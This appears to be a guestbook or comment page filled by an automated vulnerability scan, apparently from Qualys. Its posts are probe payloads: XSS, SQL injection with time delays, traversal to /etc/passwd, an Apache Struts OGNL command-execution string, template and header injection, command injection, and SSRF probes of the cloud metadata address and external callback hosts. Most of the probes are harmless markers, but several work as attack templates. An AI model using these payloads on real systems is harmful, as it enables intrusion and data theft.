Admin : 15/08/2020 22:15:56

1

Admin : 16/08/2020 11:26:28

\\\\\\"\\\'><qss a=x2970261252y2_2z>

Admin : 16/08/2020 11:27:08

<script>_q=random(x2970261252y2_2z)</script>

Admin : 16/08/2020 11:27:47

\\\' onevent=x2970261252y2_2z

Admin : 16/08/2020 11:28:29

\\\\\\" onevent=x2970261252y2_2z

Admin : 16/08/2020 11:29:10

javascript:qxss(x2970261252y2_2z);

Admin : 16/08/2020 11:29:51

\\\\\\"><qss>

Admin : 16/08/2020 11:30:32

1

Admin : 16/08/2020 11:30:32

1\\\\\\"\\\'><qss>

Admin : 16/08/2020 11:31:13

z><qss>

Admin : 16/08/2020 11:31:52

\\\\\\"\\\'><qss `;!=&{()}>

Admin : 16/08/2020 11:32:33

<script>_q=random(x2970261252y2_2z)</script>

Admin : 16/08/2020 11:33:15

1

Admin : 16/08/2020 11:33:15

1 <script>_q_q=random()</script>

Admin : 16/08/2020 11:33:55

<script src=//localhost/j>

Admin : 16/08/2020 11:34:36

<script =\\\\\\">\\\\\\" src=//localhost/j>

Admin : 16/08/2020 11:35:16

<script/qss src=//localhost/j>

Admin : 16/08/2020 11:35:55

\\\\\\"\\\'><<script a=2>qss=7;//<</script>

Admin : 16/08/2020 11:36:36

<img src=javascript:qss=7>

Admin : 16/08/2020 11:37:16

<meta http-equiv=\\\\\\"refresh\\\\\\" content=\\\\\\"0;url=javascript:qss=7\\\\\\">

Admin : 16/08/2020 11:37:56

1

Admin : 16/08/2020 11:37:56

1\\\\\\"><div style=\\\\\\"width:expression(qss=7)\\\\\\">

Admin : 16/08/2020 11:38:37

<style type=\\\\\\"text/css\\\\\\" a=3>body{background:url(\\\\\\"javascript:qss=7\\\\\\")}</style>

Admin : 16/08/2020 11:39:16

<embed src=//localhost/q.swf allowscriptaccess=always></embed>

Admin : 16/08/2020 11:39:55

\\\\\\"\\\'><qss a=x2970261252y2_2z>

Admin : 16/08/2020 11:40:36

\\\' onevent=x2970261252y2_2z

Admin : 16/08/2020 11:41:17

\\\\\\" onevent=x2970261252y2_2z

Admin : 16/08/2020 11:41:56

<\n\rscript a=4>qss=7<\n\r/script>

Admin : 16/08/2020 11:42:35

%3cscript z%3e_q(y)%3c/script%3e

Admin : 16/08/2020 11:43:14

<script src=http://localhost/j

Admin : 16/08/2020 11:43:53

q\r\ncontent-type:text/html\r\ncontent-length: 190\r\n\r\nhttp/1.1 200 ok\r\ncontent-type: text/html\r\nset-cookie: a=q\r\ncontent-length: 2\r\n\r\naa

Admin : 16/08/2020 11:44:34

q\r\nqualys_resp_hdr_injection: vulnerable

Admin : 16/08/2020 11:45:15

q\r\n qualys_resp_hdr_injection: vulnerable

Admin : 16/08/2020 11:45:55

1

Admin : 16/08/2020 11:45:56

1\\\'

Admin : 16/08/2020 11:46:35

;

Admin : 16/08/2020 11:47:16

#

Admin : 16/08/2020 11:47:55

/

Admin : 16/08/2020 11:48:37

``

Admin : 16/08/2020 11:49:20

,

Admin : 16/08/2020 11:49:59

(

Admin : 16/08/2020 11:50:39

1e309

Admin : 16/08/2020 11:51:18

Admin : 16/08/2020 11:51:59

/../../../../../../../etc/passwd

Admin : 16/08/2020 11:52:39

/../../../../../../../etc/passwd

Admin : 16/08/2020 11:53:19

../../../../../../../etc/passwd

Admin : 16/08/2020 11:53:58

//..//..//..//..//..//..//..//etc/passwd

Admin : 16/08/2020 11:54:38

//....//....//....//....//....//....//....//etc/passwd

Admin : 16/08/2020 11:55:18

../../../../../../../windows/system32/drivers/etc/hosts

Admin : 16/08/2020 11:55:58

../../../../../../../windows/system32/drivers/etc/hosts

Admin : 16/08/2020 11:56:38

%{(#_=\\\'multipart/form-data\\\').(#dm=@ognl.ognlcontext@default_member_access).(#_memberaccess?(#_memberaccess=#dm):((#container=#context[\\\'com.opensymphony.xwork2.actioncontext.container\\\']).(#ognlutil=#container.getinstance(@com.opensymphony.xwork2.ognl.ognlutil@class)).(#ognlutil.getexcludedpackagenames().clear()).(#ognlutil.getexcludedclasses().clear()).(#context.setmemberaccess(#dm)))).(#str1=\\\'a2b8c3\\\').(#str2=\\\'q9d4hi5j\\\').(#str3=\\\'r9d7e8\\\').(#str=#str2+\\\':qq:\\\'+#str1+\\\':tt:\\\'+#str3).(#cmd=\\\'echo \\\'+ #str).(#iswin=(@java.lang.system@getproperty(\\\'os.name\\\').tolowercase().contains(\\\'win\\\'))).(#cmds=(#iswin?{\\\'cmd.exe\\\',\\\'/c\\\',#cmd}:{\\\'/bin/bash\\\',\\\'-c\\\',#cmd})).(#p=new java.lang.processbuilder(#cmds)).(#p.redirecterrorstream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.servletactioncontext@getresponse().getoutputstream())).(@org.apache.commons.io.ioutils@copy(#process.getinputstream(),#ros)).(#ros.flush())}

Admin : 16/08/2020 11:57:19

%25{(#_=\\\'multipart/form-data\\\').(#dm=@ognl.ognlcontext@default_member_access).(#_memberaccess?(#_memberaccess=#dm):((#container=#context[\\\'com.opensymphony.xwork2.actioncontext.container\\\']).(#ognlutil=#container.getinstance(@com.opensymphony.xwork2.ognl.ognlutil@class)).(#ognlutil.getexcludedpackagenames().clear()).(#ognlutil.getexcludedclasses().clear()).(#context.setmemberaccess(#dm)))).(#str1=\\\'a2b8c3\\\').(#str2=\\\'q9d4hi5j\\\').(#str3=\\\'r9d7e8\\\').(#str=#str2+\\\':qq:\\\'+#str1+\\\':tt:\\\'+#str3).(#cmd=\\\'echo \\\'+ #str).(#iswin=(@java.lang.system@getproperty(\\\'os.name\\\').tolowercase().contains(\\\'win\\\'))).(#cmds=(#iswin?{\\\'cmd.exe\\\',\\\'/c\\\',#cmd}:{\\\'/bin/bash\\\',\\\'-c\\\',#cmd})).(#p=new java.lang.processbuilder(#cmds)).(#p.redirecterrorstream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.servletactioncontext@getresponse().getoutputstream())).(@org.apache.commons.io.ioutils@copy(#process.getinputstream(),#ros)).(#ros.flush())}

Admin : 16/08/2020 11:57:59

%{(#dm=@ognl.ognlcontext@default_member_access).(#_memberaccess?(#_memberaccess=#dm):((#container=#context[\\\'com.opensymphony.xwork2.actioncontext.container\\\']).(#ognlutil=#container.getinstance(@com.opensymphony.xwork2.ognl.ognlutil@class)).(#ognlutil.getexcludedpackagenames().clear()).(#ognlutil.getexcludedclasses().clear()).(#context.setmemberaccess(#dm)))).(#str1=\\\'a2b8c3\\\').(#str2=\\\'q2d1hi3j\\\').(#str3=\\\'b4d7e6\\\').(#str=#str2+\\\':qq:\\\'+#str1+\\\':pp:\\\'+#str3).(#cmd=\\\'echo \\\'+ #str).(#iswin=(@java.lang.system@getproperty(\\\'os.name\\\').tolowercase().contains(\\\'win\\\'))).(#cmds=(#iswin?{\\\'cmd.exe\\\',\\\'/c\\\',#cmd}:{\\\'/bin/bash\\\',\\\'-c\\\',#cmd})).(#p=new java.lang.processbuilder(#cmds)).(#p.redirecterrorstream(true)).(#process=#p.start()).(@org.apache.commons.io.ioutils@tostring(#process.getinputstream()))}

Admin : 16/08/2020 11:58:39

a(){}phpinfo(); function a

Admin : 16/08/2020 11:59:21

|netstat -an

Admin : 16/08/2020 12:00:01

http://rfitest/

Admin : 16/08/2020 12:00:43

javascript:qxss(x2970261252y2_2z);

Admin : 16/08/2020 12:01:22

\\\\\\";(function(){qxss});//\\\\\\"

Admin : 16/08/2020 12:02:06

\\\\\\");(function(){qxss});//\\\\\\"

Admin : 16/08/2020 12:02:45

qualys(aqxss)xyz

Admin : 16/08/2020 12:03:27

\\\';(function(){qxss});//\\\'

Admin : 16/08/2020 12:04:09

9;(function(){qxss});//

Admin : 16/08/2020 12:04:48

9\n;(function(){qxss});//

Admin : 16/08/2020 12:05:28

/;(function(){qxss});/

Admin : 16/08/2020 12:06:08

\\\'-qxss()-\\\'

Admin : 16/08/2020 12:06:50

\\\\\\"-qxss()-\\\\\\"

Admin : 16/08/2020 12:07:29

|aaaa\n=(23.0231213.759)\n|${23.0231213.759}{23.0231213.759}{{23.0231213.759}}(23.0231213.7591)=(23.0231213.759)#{23.0231213.759}<%= 23.0231213.759 %>

Admin : 16/08/2020 12:08:10

{23.0231213.759}${23.0231213.759}{{=23.0231213.759}}

Admin : 16/08/2020 12:08:49

;echo 23.0231213.759;//{@math key=4335.158242899999 method=\\\\\\"add\\\\\\" operand=586.23659/}\n/ \n\n#set($value=23.0231213.759)\n$value\n /

Admin : 16/08/2020 12:09:29

(23.0231213.759)

Admin : 16/08/2020 12:10:08

</script><script>function(){qxss};</script>

Admin : 16/08/2020 12:10:49

http://169.254.169.254/latest/meta-data/

Admin : 16/08/2020 12:11:30

joe+\nbcc:was_engine@c4b431dfebb7a487f53c878c35c4f7b03345b8b4.59278495080674.3371426461.smtphi01.smtp.us3.qualysperiscope.com.

Admin : 16/08/2020 12:13:11

http://fa8cf323eb38d9a1508da78d3d1afa2f0db74d0a.59278495080674.3828507718.ssrf01.ssrf.us3.qualysperiscope.com.

Admin : 16/08/2020 12:14:24

<script>alert(81);_q=random(x2970261252y2_2z)</script>

Admin : 16/08/2020 12:15:04

\\\\\\"\\\'<svg/onload=alert(81) a=x2970261252y2_2z>

Admin : 16/08/2020 12:15:44

\\\' onfocus=alert(81) autofocus=true onevent=x2970261252y2_2z

Admin : 16/08/2020 12:16:23

\\\\\\" onfocus=alert(81) autofocus=true onevent=x2970261252y2_2z

Admin : 16/08/2020 12:17:05

javascript:alert(81);qxss(x2970261252y2_2z);

Admin : 16/08/2020 12:17:44

\\\\\\"><script>alert(81)</script>

Admin : 16/08/2020 12:18:22

1

Admin : 16/08/2020 12:18:23

1\\\\\\"\\\'><script>alert(81)</script>

Admin : 16/08/2020 12:19:02

z><script>alert(81)</script>

Admin : 16/08/2020 12:19:41

<script>alert(81);_q=random(x2970261252y2_2z)</script>

Admin : 16/08/2020 12:20:21

1

Admin : 16/08/2020 12:20:21

1 <script>alert(81)</script>

Admin : 16/08/2020 12:21:01

\\\\\\"\\\'><<script a=2>alert(81);//<</script>

Admin : 16/08/2020 12:21:40

<img src=x onerror=alert(81)>

Admin : 16/08/2020 12:22:20

<svg/onload=alert(81)>

Admin : 16/08/2020 12:23:01

1\\\\\\"><svg/onload=alert(81)>

Admin : 16/08/2020 12:23:01

1

Admin : 16/08/2020 12:23:41

\\\\\\"\\\'<svg/onload=alert(81) a=x2970261252y2_2z>

Admin : 16/08/2020 12:24:21

\\\' onfocus=alert(81) autofocus=true onevent=x2970261252y2_2z

Admin : 16/08/2020 12:25:01

\\\\\\" onfocus=alert(81) autofocus=true onevent=x2970261252y2_2z

Admin : 16/08/2020 12:25:41

<\n\rscript a=4>alert(81)<\n\r/script>

Admin : 16/08/2020 12:26:21

%3cscript z%3ealert(81)%3c/script%3e

Admin : 16/08/2020 12:27:02

javascript:alert(81);qxss(x2970261252y2_2z);

Admin : 16/08/2020 12:27:42

\\\\\\";alert(81);//

Admin : 16/08/2020 12:28:22

\\\\\\");alert(81);//

Admin : 16/08/2020 12:29:03

\\\';alert(81);//

Admin : 16/08/2020 12:29:43

9;alert(81);//

Admin : 16/08/2020 12:30:24

9\n;alert(81);//

Admin : 16/08/2020 12:31:05

/;alert(81);/

Admin : 16/08/2020 12:31:45

\\\\\\"qxss()\\\\\\"

Admin : 16/08/2020 12:32:26

\\\'qxss()\\\'

Admin : 16/08/2020 12:33:05

\\\'\\\\\\"/></script><script>function(){qxss};</script>

Admin : 16/08/2020 12:45:53

1

Admin : 16/08/2020 12:45:55

1

Admin : 16/08/2020 12:45:55

1\\\') or 2634=2634

Admin : 16/08/2020 12:45:55

1\\\') and 2634=1123

Admin : 16/08/2020 12:47:11

1

Admin : 16/08/2020 12:47:12

1

Admin : 16/08/2020 12:47:12

1\\\' or 3789=3789

Admin : 16/08/2020 12:47:13

1\\\' and 3789=1391

Admin : 16/08/2020 12:48:30

1

Admin : 16/08/2020 12:48:31

1 or 4325=4325

Admin : 16/08/2020 12:48:31

1

Admin : 16/08/2020 12:48:32

1 and 4325=2728

Admin : 16/08/2020 12:49:51

1

Admin : 16/08/2020 12:49:52

1 or null is null

Admin : 16/08/2020 12:49:52

1

Admin : 16/08/2020 12:49:52

1 or 6248 is null

Admin : 16/08/2020 12:51:11

1

Admin : 16/08/2020 12:51:12

1 and null is null

Admin : 16/08/2020 12:51:12

1

Admin : 16/08/2020 12:51:13

1 and 7248 is null

Admin : 16/08/2020 12:52:30

1

Admin : 16/08/2020 12:52:31

1

Admin : 16/08/2020 12:52:31

1\\\') or \\\'swqtp\\\'=\\\'swqtp

Admin : 16/08/2020 12:52:32

1\\\') and \\\'swqtp\\\'=\\\'ptqws

Admin : 16/08/2020 12:53:50

1

Admin : 16/08/2020 12:53:51

1

Admin : 16/08/2020 12:53:52

1\\\' or \\\'tpklq\\\'=\\\'tpklq

Admin : 16/08/2020 12:53:53

1\\\' and \\\'tpklq\\\'=\\\'xqlkp

Admin : 16/08/2020 12:55:11

11 or 11=11

Admin : 16/08/2020 12:55:12

11 or 11=12

Admin : 16/08/2020 13:06:21

aaaa&ping -n 92 localhost&

Admin : 16/08/2020 13:07:00

ping -c2 -i91 localhost

Admin : 16/08/2020 13:07:39

|ping -c2 -i91 localhost

Admin : 16/08/2020 13:08:19

|ping -c2 -i91 localhost|

Admin : 16/08/2020 13:08:57

1

Admin : 16/08/2020 13:08:57

1waitfor delay \\\'00:00:29\\\'

Admin : 16/08/2020 13:09:36

1

Admin : 16/08/2020 13:09:36

1;waitfor delay \\\'00:00:29\\\';

Admin : 16/08/2020 13:10:15

1

Admin : 16/08/2020 13:10:15

1);waitfor delay \\\'00:00:29\\\'

Admin : 16/08/2020 13:10:54

1

Admin : 16/08/2020 13:10:55

1\\\';waitfor delay \\\'00:00:29\\\'

Admin : 16/08/2020 13:11:34

1

Admin : 16/08/2020 13:11:34

1\\\');waitfor delay \\\'00:00:29\\\'

Admin : 16/08/2020 13:12:13

1

Admin : 16/08/2020 13:12:14

1\\\',0,0);waitfor delay\\\'00:00:29\\\'

Admin : 16/08/2020 13:12:52

1

Admin : 16/08/2020 13:12:52

1 (select 0 (select sleep(29))qsqli_1111)

Admin : 16/08/2020 13:13:32

1

Admin : 16/08/2020 13:13:33

1\\\' (select 0 (select sleep(29))qsqli_2222) \\\'

Admin : 16/08/2020 13:14:12

1

Admin : 16/08/2020 13:14:12

1;select sleep(29);

Admin : 16/08/2020 13:14:51

1

Admin : 16/08/2020 13:14:51

1(select 0 (select sleep(29))qsqli_3333) /\\\'xor (select 0 (select sleep(29))qsqli_3333); or\\\'|\\\\\\"xor (select 0 (select sleep(29))qsqli_3333); or\\\\\\"/